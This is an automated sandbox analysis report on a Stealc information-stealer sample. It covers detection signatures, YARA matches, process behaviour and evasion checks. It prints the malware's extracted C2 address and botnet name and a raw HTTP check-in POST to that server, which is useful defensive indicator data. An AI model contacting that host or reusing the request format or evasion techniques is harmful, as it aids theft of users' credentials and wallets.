Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1518310
MD5:	d792f4925d8e515a2aa89f5c9c157f2d
SHA1:	e958a4c5049ecee81c30ed3589b2047c9c22c03a
SHA256:	30b614408336deed002dcb9dbf0785e48ff68c25b1f5b5d741eac82b868ec32c
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Machine Learning detection for sample

Searches for specific processes (likely to inject)

AV process strings found (often used to terminate AV products)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7484 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D792F4925D8E515A2AA89F5C9C157F2D)

WerFault.exe (PID: 7628 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7484 -s 1052 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://193.233.113.184/6d687e53250c2111.php", "Botnet": "LogsDiller1"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1880865468.00000000024BE000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1a51:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1880902280.00000000024EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.1717820690.0000000004110000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7484	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7484	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.file.exe.4110000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.file.exe.4110000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.40a0e67.3.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.40a0e67.3.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T15:32:06.869553+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.233.113.184	80	TCP

Code function: 0_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,HeapCreate,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00404880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 193.233.113.184Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFIHost: 193.233.113.184Content-Length: 218Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 36 32 37 31 35 45 34 33 42 39 32 39 32 35 33 38 32 31 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 2d 2d 0d 0a Data Ascii: ------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="hwid"EE62715E43B92925382193------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="build"LogsDiller1------JDBGDHIIDAEBFHJJDBFI--

Source: file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.1
Source: file.exe, 00000000.00000002.1880734671.00000000024AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1880902280.00000000024EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184
Source: file.exe, 00000000.00000002.1880902280.00000000024EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/
Source: file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1880902280.0000000002537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php
Source: file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php/s
Source: file.exe, 00000000.00000002.1880902280.00000000024EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.php5S
Source: file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/6d687e53250c2111.phpc
Source: file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/J(
Source: file.exe, 00000000.00000002.1880902280.000000000251C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.113.184/ws
Source: Amcache.hve.3.dr	String found in binary or memory: http://upx.sf.net

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1880865468.00000000024BE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 004045C0 appears 317 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7484 -s 1052

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1880865468.00000000024BE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/5@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00419600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\SBI6B4IZ.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7484

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\ca75aad4-0179-419a-a626-4cd7a2cbcef6

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7484 -s 1052

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.1.unpack

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419860

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041B035 push ecx; ret	0_2_0041B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_024BEA22 push 00000063h; retf	0_2_024BEA29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_024C405D push eax; ret	0_2_024C407B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_024C406C push eax; ret	0_2_024C407B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_024C108D push 7DD07DC0h; iretd	0_2_024C109E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040BB29C push ecx; ret	0_2_040BB2AF

Source: C:\Users\user\Desktop\file.exe

0_2_00419860

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-26115

Source: C:\Users\user\Desktop\file.exe

Evaded block: after key decision

graph_0-27273

Source: C:\Users\user\Desktop\file.exe

API coverage: 7.0 %

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00414570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_00413EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040AE077 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_040AE077
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040AC0D7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_040AC0D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040ADCE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_040ADCE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040B4107 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_040B4107
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040AF917 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_040AF917
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040A1937 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_040A1937
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040AE697 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_040AE697
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040B3B17 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_040B3B17
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040B4B77 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_040B4B77
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040AEF87 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_040AEF87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_040B47D7 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_040B47D7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: Amcache.hve.3.dr	Binary or memory string: VMware
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.3.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.3.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.3.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.1880902280.0000000002537000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.3.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
